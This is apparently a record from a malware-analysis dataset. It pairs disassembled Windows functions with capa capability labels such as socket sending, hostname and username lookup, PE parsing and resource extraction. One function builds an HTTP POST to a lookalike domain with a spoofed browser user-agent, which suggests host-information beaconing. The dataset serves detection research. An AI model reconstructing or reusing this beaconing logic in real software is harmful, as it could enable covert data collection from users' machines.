joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006300
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x1400561a8]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rbx, qword [rbp + 0x60]
lea r9, [rbp - 0x18]
xor r15d, r15d
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
mov dword [rbp - 0x18], r15d
call qword [sym.imp.WS2_32.dll_WSASend]
mov esi, eax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov rdx, qword [0x140056e60]
lea r14, [0x140056e58]
movabs r12, 0x4d54ee85da812030
mov dword [rbp - 0x2c], r15d
add rdx, r12
mov edi, eax
cmp rdx, 1
jbe 0x140006388
mov rcx, qword [0x140056e58]
mov edx, eax
mov r8, qword [rcx + 0x30]
mov rcx, r14
call r8
jmp 0x14000638d
test edi, edi
setne al
movzx eax, al
movabs r10, 0x4800144005b3
add rax, 2
mov dword [rbp - 0x30], edi
mov qword [rbp - 0x28], r14
movups xmm0, xmmword [rbp - 0x30]
mov qword [rbp - 0x20], rax
movsd xmm1, qword [rbp - 0x20]
movups xmmword [rbx], xmm0
movsd qword [rbx + 0x10], xmm1
mov r9, qword [rbx + 0x10]
cmp r9, 1
je 0x1400063cb
mov eax, dword [rbx]
mov r8d, eax
jmp 0x1400063fb
mov rcx, qword [rbx + 8]
mov rax, r10
mov r8d, dword [rbx]
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0x14
imul rax, rax, 0x1ffff7
sub rcx, rax
imul eax, ecx, 0x3e8
add eax, r8d
cmp eax, 0x40
jne 0x14000643a
mov rcx, qword [0x140056e60]
add rcx, r12
mov dword [rbp - 0x2c], r15d
cmp rcx, 1
jbe 0x14000642f
mov rax, qword [0x140056e58]
mov edx, 0x2746
mov rcx, r14
call qword [rax + 0x30]
mov dword [rbp - 0x30], 0x2746
jmp 0x1400064a7
mov al, 1
mov dword [rbp - 0x30], 0x2746
jmp 0x1400064a7
cmp r9, 1
jne 0x14000646d
mov rcx, qword [rbx + 8]
mov rax, r10
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0x14
imul rax, rax, 0x1ffff7
sub rcx, rax
imul eax, ecx, 0x3e8
add r8d, eax
cmp r8d, 0x4d2
jne 0x1400064c7
mov rcx, qword [0x140056e60]
add rcx, r12
mov dword [rbp - 0x2c], r15d
cmp rcx, 1
jbe 0x14000649e
mov rax, qword [0x140056e58]
mov edx, 0x274d
mov rcx, r14
call qword [rax + 0x30]
jmp 0x1400064a0
mov al, 1
mov dword [rbp - 0x30], 0x274d
movzx eax, al
mov qword [rbp - 0x28], r14
add rax, 2
movups xmm0, xmmword [rbp - 0x30]
mov qword [rbp - 0x20], rax
movsd xmm1, qword [rbp - 0x20]
movups xmmword [rbx], xmm0
movsd qword [rbx + 0x10], xmm1
test esi, esi
je 0x1400064d2
mov eax, 0xffffffff
jmp 0x1400064e9
mov eax, dword [rbp - 0x18]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbp - 0x20], r15
movsd xmm0, qword [rbp - 0x20]
movsd qword [rbx + 0x10], xmm0
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140019460
add rsp, 0x70
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x14000add0
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x3c0]
sub rsp, 0x4c0
mov rax, qword [0x1400561a8]
xor rax, rsp
mov qword [rbp + 0x3b0], rax
mov byte [rbp + 0x3af], 0
mov edx, 0x3ff
lea rcx, [rbp - 0x50]
call qword [sym.imp.WS2_32.dll_gethostname]
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
lea rax, [rbp - 0x50]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000ae30
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x78]
call fcn.1400110c0
nop
lea rcx, str.USER
call fcn.140022ae8
test rax, rax
jne 0x14000ae65
lea rcx, str.USERNAME
call fcn.140022ae8
lea rdx, [0x14004a38b]
test rax, rax
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
inc rbx
cmp byte [rdx + rbx], 0
jne 0x14000ae84
mov r8, rbx
lea rcx, [rsp + 0x68]
call fcn.1400110c0
nop
lea rcx, [rsp + 0x48]
call fcn.1400093c0
nop
lea r9, [rsp + 0x48]
lea r8, [rbp - 0x78]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x28]
call fcn.140009c40
nop
lea rcx, [rsp + 0x28]
call fcn.140009ff0
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x14000af07
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000af02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b002
call fcn.140019480
movdqa xmm0, xmmword [0x14004c6d0]
movdqu xmmword [rsp + 0x38], xmm0
mov byte [rsp + 0x28], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14000af57
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000af52
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b008
call fcn.140019480
movdqa xmm0, xmmword [0x14004c6d0]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14000afa3
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000af9d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b00e
call fcn.140019480
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x14000afda
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000afd5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000affc
call fcn.140019480
xor eax, eax
mov rcx, qword [rbp + 0x3b0]
xor rcx, rsp
call fcn.140019460
mov rbx, qword [rsp + 0x4d0]
add rsp, 0x4c0
pop rbp
ret
call fcn.140022984
nop
call fcn.140022984
nop
call fcn.140022984
nop
call fcn.140022984
int3
Function at 0x14000c7c0
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x200
mov rax, qword [0x1400561a8]
xor rax, rsp
mov qword [rsp + 0x1f0], rax
movzx ebx, dl
mov rdi, rcx
mov eax, 1
lock xadd dword [0x14005a050], eax
inc eax
cmp eax, 1
jne 0x14000c80d
lea ecx, [rax + 1]
lea rdx, [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xchg dword [0x14005a054], eax
test bl, bl
je 0x14000c8b1
xor ebx, ebx
lock xadd dword [0x14005a054], ebx
test ebx, ebx
je 0x14000c8b1
movabs rcx, 0x4d54ee85da812030
mov qword [rsp + 0x210], rsi
add rcx, qword [0x140056e60]
lea rsi, [0x140056e58]
mov dword [rsp + 0x3c], 0
cmp rcx, 1
jbe 0x14000c866
mov rax, qword [0x140056e58]
mov edx, ebx
mov rcx, rsi
call qword [rax + 0x30]
jmp 0x14000c868
mov al, 1
lea rcx, str.C:Users_nixiangDesktopcodePEPacker_master_vcpkg_masterinstalledx64_windowsinclude_boost_asiodetailimplwinsock_init.ipp
movzx eax, al
add rax, 2
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x40], rsi
lea rcx, str.throw_on_error
mov rsi, qword [rsp + 0x210]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], 0x48
mov dword [rsp + 0x34], 0x1a
test al, 1
jne 0x14000c8d5
mov rax, rdi
mov rcx, qword [rsp + 0x1f0]
xor rcx, rsp
call fcn.140019460
mov rbx, qword [rsp + 0x218]
add rsp, 0x200
pop rdi
ret
lea r8, [rsp + 0x20]
lea rdx, str.winsock
lea rcx, [rsp + 0x38]
call fcn.1400037c0
int3
Function at 0x140015260
Capabilities:
Reference http user-agent string

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, qword [rcx + 0x10]
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
mov rsi, rcx
sub rax, r14
cmp rax, rdx
jb 0x1400153c2
mov qword [rsp + 0x60], rbp
mov rbp, qword [rcx + 0x18]
mov qword [rsp + 0x20], r15
lea r15, [rdx + r14]
mov rdx, r15
or rdx, 0xf
cmp rdx, rbx
ja 0x1400152c6
mov rcx, rbp
mov rax, rbx
shr rcx, 1
sub rax, rcx
cmp rbp, rax
ja 0x1400152c6
lea rax, [rcx + rbp]
mov rbx, rdx
cmp rdx, rax
cmovb rbx, rax
mov rcx, rbx
mov qword [rsp + 0x28], rdi
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140015312
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400153c8
mov rcx, rax
call fcn.140019a34
test rax, rax
je 0x1400153bc
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140015323
test rcx, rcx
je 0x140015321
call fcn.140019a34
mov rdi, rax
jmp 0x140015323
xor edi, edi
mov r8, qword [rsp + 0x78]
lea rdx, str.POST__add_HTTP_1.1_r_nHost:_www.asialnfo_sec.com_r_nContent_Type:_application_json_r_nUser_Agent:_Mozilla_5.0__Windows_NT_6.1__WOW64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_69.0.3497.100_Safari_537.36_r_nContent_Length:
mov qword [rsi + 0x10], r15
mov rcx, rdi
mov qword [rsi + 0x18], rbx
lea r15, [rdi + r8]
cmp rbp, 0x10
jb 0x14001538a
mov rbx, qword [rsi]
call fcn.14001b900
lea r8, [r14 + 1]
mov rdx, rbx
mov rcx, r15
call fcn.14001b900
lea rdx, [rbp + 1]
cmp rdx, 0x1000
jb 0x140015380
mov rcx, qword [rbx - 8]
add rdx, 0x27
sub rbx, rcx
lea rax, [rbx - 8]
cmp rax, 0x1f
ja 0x1400153bc
mov rbx, rcx
mov rcx, rbx
call fcn.140019480
jmp 0x14001539e
call fcn.14001b900
lea r8, [r14 + 1]
mov rdx, rsi
mov rcx, r15
call fcn.14001b900
mov qword [rsi], rdi
mov rax, rsi
mov rdi, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x60]
mov r15, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
call fcn.140022984
int3
call fcn.1400014e0
int3
call fcn.140001440
int3

Function at 0x14001a4a8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001a4f2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001a4f2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001a4f2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001a4f2
cmp dword [rcx + 0x84], 0xe
jbe 0x14001a4f2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001a4f4
xor al, al
add rsp, 0x28
ret

Function at 0x140026f6c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140026d5c
Function at 0x140030010
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140030040
xor eax, eax
jmp 0x140030103
mov rbp, rbx
cmp word [rax], si
je 0x140030065
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14003004c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140030048
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14002e7bc
movsxd r14, eax
test eax, eax
jne 0x1400300a3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140030039
mov rcx, r14
call fcn.14002b43c
mov rdi, rax
test rax, rax
jne 0x1400300bc
xor ecx, ecx
call fcn.14002a168
jmp 0x140030098
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14002e7bc
test eax, eax
jne 0x1400300ed
mov rcx, rdi
call fcn.14002a168
jmp 0x1400300f7
xor ecx, ecx
call fcn.14002a168
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140036b8c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140023930
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140036c16
cmp byte [rbp - 0x21], r15b
je 0x140036c11
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140036c4c
call fcn.14002ab9c
test eax, eax
jne 0x140036c38
cmp byte [rbp - 0x21], r15b
je 0x140036c30
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140036c4c
cmp byte [rbp - 0x21], r15b
je 0x140036c49
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140026470
test eax, eax
jne 0x140036cec
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140023930
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140036c8b
cmp byte [rbp - 0x21], r15b
je 0x140036cc0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140036cc0
call fcn.14002ab9c
test eax, eax
jne 0x140036cac
cmp byte [rbp - 0x21], r15b
je 0x140036ca5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140036cc0
cmp byte [rbp - 0x21], r15b
je 0x140036cbd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140026470
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140036cec
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140036cef
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140036cfd
mov rcx, rdi
call fcn.14002a168
cmp byte [rbp + 0x3f], r15b
je 0x140036d0c
mov rcx, qword [rbp + 0x27]
call fcn.14002a168
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400391c0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400391e8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400391e8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1000aab0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x20
xor edi, edi
xor ebx, ebx
test rdx, rdx
mov rsi, rdx
mov rbp, rcx
je 0x1000ab0a
call fcn.1000c020
mov r8d, 0xf0
mov rdx, rsi
mov r12, qword [rax + 0x18]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x1000ab0a
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
mov rbx, rax
je 0x1000ab2c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov rdx, rdi
mov rcx, rbp
call fcn.1000a530
test rdi, rdi
mov esi, eax
je 0x1000ab2a
test rbx, rbx
je 0x1000ab2a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
add rsp, 0x20
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x1000e740
Capabilities:
Get graphical window text

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
movsxd rsi, r8d
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx + 0xa0], 0
jne 0x1000e776
mov r8d, esi
mov rcx, qword [rcx + 0x40]
call qword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x1000e82d
call fcn.1000ce78
mov r11, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x1000e795
mov ecx, 0x80004005
call fcn.10001850
int3
mov rax, qword [rax]
mov rcx, r11
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x50], rax
mov rcx, qword [rbx + 0xa0]
mov rax, qword [rcx]
lea rdx, [rsp + 0x50]
call qword [rax + 0x118]
mov rdx, rsi
mov rsi, 0xffffffffffffffff
mov r9, rsi
mov r8, qword [rsp + 0x50]
mov rcx, rdi
call fcn.1002caa0
test eax, eax
je 0x1000e800
cmp eax, 0xc
je 0x1000e7fa
cmp eax, 0x16
je 0x1000e7f4
cmp eax, 0x22
je 0x1000e7f4
cmp eax, 0x50
je 0x1000e800
call fcn.1000ac70
int3
call fcn.1000ac70
int3
call fcn.1000ac28
int3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
mov ecx, esi
lock xadd dword [rdx + 0x10], ecx
add ecx, esi
test ecx, ecx
jg 0x1000e82b
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.oledlg.dll_OleUIBusyA + 8]
mov eax, ebx
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x100355b7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x10102f70]
jne 0x1002ba6a
rol rcx, 0x10
test cx, 0xffff
jne 0x1002ba66
repz ret
ror rcx, 0x10
jmp 0x10035510
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x10108ec0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x10108fb8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x10035595
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x10108ec0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x100355b7
mov rax, qword [rsp + 0x88]
mov qword [0x10108fb8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x10108f58], rax
mov rax, qword [0x10108fb8]
mov qword [0x10108e30], rax
mov rax, qword [rsp + 0x90]
mov qword [0x10108f40], rax
mov dword [0x10108e20], 0xc0000409
mov dword [0x10108e24], 1
mov rax, qword [0x10102f70]
mov qword [rsp + 0x68], rax
mov rax, qword [0x10102f78]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x10108eb8], eax
mov ecx, 1
call fcn.1003b0a0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1004df40]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x10108eb8], 0
jne 0x1003563e
mov ecx, 1
call fcn.1003b0a0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1003ae00
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax - 8], r12
mov qword [rax - 0x10], r13
mov r13, rcx
mov edi, r8d
mov r12, rdx
call fcn.10030730
xor ebx, ebx
cmp qword [0x10109870], rbx
mov rsi, rax
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x34], ebx
jne 0x1003af31
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rbp, rax
jne 0x1003ae63
xor eax, eax
jmp 0x1003b011
lea rdx, [0x1004e960]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1003ae5c
mov rcx, rax
call fcn.100306c0
lea rdx, [0x1004e950]
mov rcx, rbp
mov qword [0x10109870], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.100306c0
lea rdx, [0x1004e938]
mov rcx, rbp
mov qword [0x10109878], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.100306c0
lea rcx, [rsp + 0x30]
mov qword [0x10109880], rax
call fcn.1002cc80
test eax, eax
je 0x1003aee7
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.1002ee40
cmp dword [rsp + 0x30], 2
jne 0x1003af31
lea rdx, str.GetUserObjectInformationA
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.100306c0
test rax, rax
mov qword [0x10109890], rax
je 0x1003af31
lea rdx, str.GetProcessWindowStation
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.100306c0
mov qword [0x10109888], rax
mov rcx, qword [0x10109888]
cmp rcx, rsi
je 0x1003afc3
cmp qword [0x10109890], rsi
je 0x1003afc3
call fcn.10030790
call rax
test rax, rax
mov rbp, rax
je 0x1003af8e
mov rcx, qword [0x10109890]
call fcn.10030790
lea rcx, [rsp + 0x38]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
lea r8, [rsp + 0x40]
mov rcx, rbp
call rax
test eax, eax
je 0x1003af8e
test byte [rsp + 0x48], 1
jne 0x1003afc3
lea rcx, [rsp + 0x34]
call fcn.1002ccd0
test eax, eax
je 0x1003afb0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.1002ee40
cmp dword [rsp + 0x34], 4
jb 0x1003afbd
bts edi, 0x15
jmp 0x1003aff7
bts edi, 0x12
jmp 0x1003aff7
mov rcx, qword [0x10109878]
cmp rcx, rsi
je 0x1003aff7
call fcn.10030790
call rax
test rax, rax
mov rbx, rax
je 0x1003aff7
mov rcx, qword [0x10109880]
cmp rcx, rsi
je 0x1003aff7
call fcn.10030790
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x10109870]
call fcn.10030790
mov r9d, edi
mov r8, r12
mov rdx, r13
mov rcx, rbx
call rax
mov r13, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
add rsp, 0x68
ret
Function at 0x140001034
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
push r14
sub rsp, 0x40
mov qword [rax - 0x18], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov rbx, rdx
mov edi, ecx
and qword [rax + 0x18], 0
mov ecx, 0x3a98
call fcn.140005310
mov rcx, rax
mov r9, rbx
mov r8d, edi
lea rdx, [0x140006b00]
call fcn.140003ff4
nop
mov r14d, 0x3a99
mov ecx, r14d
call fcn.140005310
lea rcx, [0x14002bda4]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
lea r9, [0x140006b20]
mov r8, rbx
mov edx, edi
mov rcx, rax
call fcn.1400040e4
mov r10b, al
mov dl, byte [0x14002bdac]
cmp byte [0x14002bd99], 0
je 0x14000112d
test dl, dl
je 0x1400010f4
mov ecx, r14d
call fcn.140005310
mov rcx, rax
lea r9, str.noreset
lea r8, str.reset
mov edx, 0x42
call fcn.140003c7c
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov al, byte [0x14002bd98]
test al, al
je 0x14000116a
mov ecx, r14d
call fcn.140005310
mov rcx, rax
lea r9, str.onlyzero
lea r8, str.reset
mov edx, 0x42
call fcn.140003c7c
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov al, byte [0x14002bd98]
test dl, dl
je 0x14000116a
test al, al
je 0x14000116a
mov ecx, r14d
call fcn.140005310
mov rcx, rax
lea r9, str.onlyzero
lea r8, str.noreset
mov edx, 0x42
call fcn.140003c7c
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp byte [0x14002bdab], 0
je 0x1400011ab
cmp dword [0x14002bda0], 0
jne 0x1400011ab
mov ecx, r14d
call fcn.140005310
mov rcx, rax
lea r9, [0x140006ac0]
lea r8, str.wait
mov edx, 0x44
call fcn.140003c7c
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r9b, byte [0x14002bd9b]
mov r8b, byte [0x14002bdad]
test r9b, r9b
je 0x1400011f2
test r8b, r8b
je 0x1400011f2
mov ecx, r14d
call fcn.140005310
mov rcx, rax
lea r9, str.resume
lea r8, str.pause
mov edx, 0x42
call fcn.140003c7c
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
test dl, dl
sete byte [0x14002bd99]
test r10b, r10b
je 0x140001266
cmp byte [0x14002bda9], 0
jne 0x14000127c
mov ecx, dword [0x14002bda4]
cmp ecx, 2
jg 0x14000125b
cmp ecx, 1
jne 0x14000121d
test al, al
je 0x14000125b
test ecx, ecx
jne 0x14000122b
test r9b, r9b
jne 0x14000122b
test r8b, r8b
je 0x14000125b
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx]
mov qword [0x14002bdb8], rax
mov rax, qword [rcx + 8]
mov qword [0x14002bdb0], rax
call fcn.140002e70
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x40
pop r14
ret
mov ecx, 1
call fcn.140001000
int3
mov ecx, 0xa
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_putchar]
mov ecx, 1
call fcn.140001000
int3
xor ecx, ecx
call fcn.140001000
int3